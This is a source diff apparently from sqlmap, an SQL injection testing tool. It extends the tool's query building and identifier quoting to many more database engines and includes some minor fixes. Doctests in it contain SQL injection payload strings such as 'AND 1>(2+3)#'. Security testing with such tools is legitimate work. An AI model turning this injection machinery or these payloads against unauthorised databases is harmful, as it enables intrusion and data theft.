|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||||
@@ -937,10 +971,33 @@ class Agent(object):
|
|||||||
fromFrom = limitedQuery[fromIndex + 1:]
|
fromFrom = limitedQuery[fromIndex + 1:]
|
||||||
orderBy = None
|
orderBy = None
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
|
if query.startswith("SELECT "):
|
||||||
|
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||||
|
if query.startswith("SELECT ") and field is not None and field in query:
|
||||||
|
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||||
|
for part in original.split(','):
|
||||||
|
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||||
|
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||||
|
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||||
|
limitedQuery = replacement
|
||||||
|
break
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.HSQLDB):
|
elif Backend.isDbms(DBMS.HSQLDB):
|
||||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||||
if match:
|
if match:
|
||||||
@@ -959,6 +1016,15 @@ class Agent(object):
|
|||||||
if match:
|
if match:
|
||||||
orderBy = " ORDER BY %s" % match.group(1)
|
orderBy = " ORDER BY %s" % match.group(1)
|
||||||
|
|
||||||
|
elif Backend.isDbms(DBMS.CACHE):
|
||||||
|
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
|
||||||
|
if match:
|
||||||
|
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
||||||
|
orderBy = " %s" % match.group(0)
|
||||||
|
field = match.group(1)
|
||||||
|
|
||||||
|
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
@@ -1036,12 +1102,15 @@ class Agent(object):
|
|||||||
def forgeQueryOutputLength(self, expression):
|
def forgeQueryOutputLength(self, expression):
|
||||||
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
||||||
select = re.search(r"\ASELECT\s+", expression, re.I)
|
select = re.search(r"\ASELECT\s+", expression, re.I)
|
||||||
|
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
|
||||||
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
||||||
|
|
||||||
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
||||||
|
|
||||||
if selectTopExpr or selectMinMaxExpr:
|
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
|
||||||
|
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
|
||||||
|
elif selectTopExpr or selectMinMaxExpr:
|
||||||
lengthExpr = lengthQuery % ("(%s)" % expression)
|
lengthExpr = lengthQuery % ("(%s)" % expression)
|
||||||
elif select:
|
elif select:
|
||||||
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
||||||
|
|||||||
+57
-31
@@ -40,7 +40,6 @@ import unicodedata
|
|||||||
from difflib import SequenceMatcher
|
from difflib import SequenceMatcher
|
||||||
from math import sqrt
|
from math import sqrt
|
||||||
from optparse import OptionValueError
|
from optparse import OptionValueError
|
||||||
from xml.dom import minidom
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax import SAXParseException
|
from xml.sax import SAXParseException
|
||||||
|
|
||||||
@@ -76,6 +75,7 @@ from lib.core.enums import CHARSET_TYPE
|
|||||||
from lib.core.enums import CONTENT_STATUS
|
from lib.core.enums import CONTENT_STATUS
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import EXPECTED
|
from lib.core.enums import EXPECTED
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
@@ -139,6 +139,7 @@ from lib.core.settings import IS_TTY
|
|||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
||||||
from lib.core.settings import LOCALHOST
|
from lib.core.settings import LOCALHOST
|
||||||
|
from lib.core.settings import MAX_INT
|
||||||
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
||||||
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
||||||
from lib.core.settings import MIN_TIME_RESPONSES
|
from lib.core.settings import MIN_TIME_RESPONSES
|
||||||
@@ -147,6 +148,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
|
|||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_AMP_MARKER
|
from lib.core.settings import PARAMETER_AMP_MARKER
|
||||||
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
||||||
|
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
|
||||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||||
from lib.core.settings import PAYLOAD_DELIMITER
|
from lib.core.settings import PAYLOAD_DELIMITER
|
||||||
@@ -557,6 +559,10 @@ class Backend(object):
|
|||||||
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isFork(fork):
|
||||||
|
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isDbmsWithin(aliases):
|
def isDbmsWithin(aliases):
|
||||||
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
||||||
@@ -943,6 +949,13 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
|||||||
except:
|
except:
|
||||||
level = None
|
level = None
|
||||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||||
|
if match:
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
|
for match in re.finditer(r"[^\w]'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -1080,7 +1093,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if retVal is None:
|
if retVal is None:
|
||||||
if checkBatch and conf.get("batch") or conf.get("api"):
|
if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
|
||||||
if isListLike(default):
|
if isListLike(default):
|
||||||
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
||||||
elif default:
|
elif default:
|
||||||
@@ -1108,7 +1121,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
if not retVal: # Note: Python doesn't print newline on empty input
|
if not retVal: # Note: Python doesn't print newline on empty input
|
||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
retVal = retVal.strip() or default
|
retVal = retVal.strip() or default
|
||||||
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
|
retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
|
||||||
except:
|
except:
|
||||||
try:
|
try:
|
||||||
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
||||||
@@ -1377,7 +1390,6 @@ def setPaths(rootPath):
|
|||||||
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
||||||
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||||
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
||||||
paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
|
|
||||||
|
|
||||||
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
||||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
||||||
@@ -1398,7 +1410,6 @@ def setPaths(rootPath):
|
|||||||
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
||||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||||
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
||||||
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
|
|
||||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||||
@@ -1463,7 +1474,7 @@ def parseTargetDirect():
|
|||||||
remote = False
|
remote = False
|
||||||
|
|
||||||
for dbms in SUPPORTED_DBMS:
|
for dbms in SUPPORTED_DBMS:
|
||||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
@@ -1650,13 +1661,13 @@ def parseTargetUrl():
|
|||||||
else:
|
else:
|
||||||
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
||||||
|
|
||||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
||||||
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
||||||
|
|
||||||
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Host header to the target URL"
|
debugMsg = "setting the HTTP Host header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
||||||
@@ -2023,6 +2034,8 @@ def safeStringFormat(format_, params):
|
|||||||
if retVal.count("%s", start, end) == len(params):
|
if retVal.count("%s", start, end) == len(params):
|
||||||
for param in params:
|
for param in params:
|
||||||
index = retVal.find("%s", start)
|
index = retVal.find("%s", start)
|
||||||
|
if isinstance(param, six.string_types):
|
||||||
|
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
|
||||||
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
||||||
else:
|
else:
|
||||||
if any('%s' in _ for _ in conf.parameters.values()):
|
if any('%s' in _ for _ in conf.parameters.values()):
|
||||||
@@ -2048,7 +2061,7 @@ def safeStringFormat(format_, params):
|
|||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
retVal = getText(retVal)
|
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -2320,16 +2333,6 @@ def readCachedFileContent(filename, mode="rb"):
|
|||||||
|
|
||||||
return kb.cache.content[filename]
|
return kb.cache.content[filename]
|
||||||
|
|
||||||
def readXmlFile(xmlFile):
|
|
||||||
"""
|
|
||||||
Reads XML file content and returns its DOM representation
|
|
||||||
"""
|
|
||||||
|
|
||||||
checkFile(xmlFile)
|
|
||||||
retVal = minidom.parse(xmlFile).documentElement
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def average(values):
|
def average(values):
|
||||||
"""
|
"""
|
||||||
Computes the arithmetic mean of a list of numbers.
|
Computes the arithmetic mean of a list of numbers.
|
||||||
@@ -2712,6 +2715,12 @@ def extractErrorMessage(page):
|
|||||||
retVal = candidate
|
retVal = candidate
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not retVal and wasLastResponseDBMSError():
|
||||||
|
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
retVal = match.group(0)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def findLocalPort(ports):
|
def findLocalPort(ports):
|
||||||
@@ -2812,6 +2821,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
|
|
||||||
>>> urlencode('AND 1>(2+3)#')
|
>>> urlencode('AND 1>(2+3)#')
|
||||||
'AND%201%3E%282%2B3%29%23'
|
'AND%201%3E%282%2B3%29%23'
|
||||||
|
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
|
||||||
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
|
||||||
|
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
|
||||||
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.get("direct"):
|
if conf.get("direct"):
|
||||||
@@ -2834,6 +2847,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
# encoded (when not representing URL encoded char)
|
# encoded (when not representing URL encoded char)
|
||||||
# except in cases when tampering scripts are used
|
# except in cases when tampering scripts are used
|
||||||
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||||
|
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
|
||||||
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -3008,9 +3022,11 @@ def isNumPosStrValue(value):
|
|||||||
False
|
False
|
||||||
>>> isNumPosStrValue('-2')
|
>>> isNumPosStrValue('-2')
|
||||||
False
|
False
|
||||||
|
>>> isNumPosStrValue('100000000000000000000')
|
||||||
|
False
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
|
return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
|
||||||
|
|
||||||
@cachedmethod
|
@cachedmethod
|
||||||
def aliasToDbmsEnum(dbms):
|
def aliasToDbmsEnum(dbms):
|
||||||
@@ -3700,7 +3716,7 @@ def unhandledExceptionMessage():
|
|||||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||||
errMsg += "Python version: %s\n" % PYVERSION
|
errMsg += "Python version: %s\n" % PYVERSION
|
||||||
errMsg += "Operating system: %s\n" % platform.platform()
|
errMsg += "Operating system: %s\n" % platform.platform()
|
||||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||||
errMsg += "Back-end DBMS:"
|
errMsg += "Back-end DBMS:"
|
||||||
|
|
||||||
@@ -3995,7 +4011,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
|||||||
thread.start()
|
thread.start()
|
||||||
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
||||||
|
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
kb.reflectiveMechanism = False
|
kb.reflectiveMechanism = False
|
||||||
retVal = content
|
retVal = content
|
||||||
if not suppressWarning:
|
if not suppressWarning:
|
||||||
@@ -4074,14 +4090,15 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
if _:
|
if _:
|
||||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||||
|
|
||||||
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||||
|
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if isTable:
|
if isTable:
|
||||||
@@ -4115,11 +4132,11 @@ def unsafeSQLIdentificatorNaming(name):
|
|||||||
retVal = name
|
retVal = name
|
||||||
|
|
||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
retVal = name.replace("[", "").replace("]", "")
|
retVal = name.replace("[", "").replace("]", "")
|
||||||
@@ -4797,6 +4814,8 @@ def extractExpectedValue(value, expected):
|
|||||||
True
|
True
|
||||||
>>> extractExpectedValue('1', EXPECTED.INT)
|
>>> extractExpectedValue('1', EXPECTED.INT)
|
||||||
1
|
1
|
||||||
|
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if expected:
|
if expected:
|
||||||
@@ -4820,8 +4839,10 @@ def extractExpectedValue(value, expected):
|
|||||||
else:
|
else:
|
||||||
value = None
|
value = None
|
||||||
elif expected == EXPECTED.INT:
|
elif expected == EXPECTED.INT:
|
||||||
if isinstance(value, six.string_types):
|
try:
|
||||||
value = int(value) if value.isdigit() else None
|
value = int(value)
|
||||||
|
except:
|
||||||
|
value = None
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -5153,6 +5174,11 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
key, value = line.split(":", 1)
|
key, value = line.split(":", 1)
|
||||||
value = value.strip().replace("\r", "").replace("\n", "")
|
value = value.strip().replace("\r", "").replace("\n", "")
|
||||||
|
|
||||||
|
# Note: overriding values with --headers '...'
|
||||||
|
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
|
||||||
|
if match:
|
||||||
|
key, value = match.groups()
|
||||||
|
|
||||||
# Cookie and Host headers
|
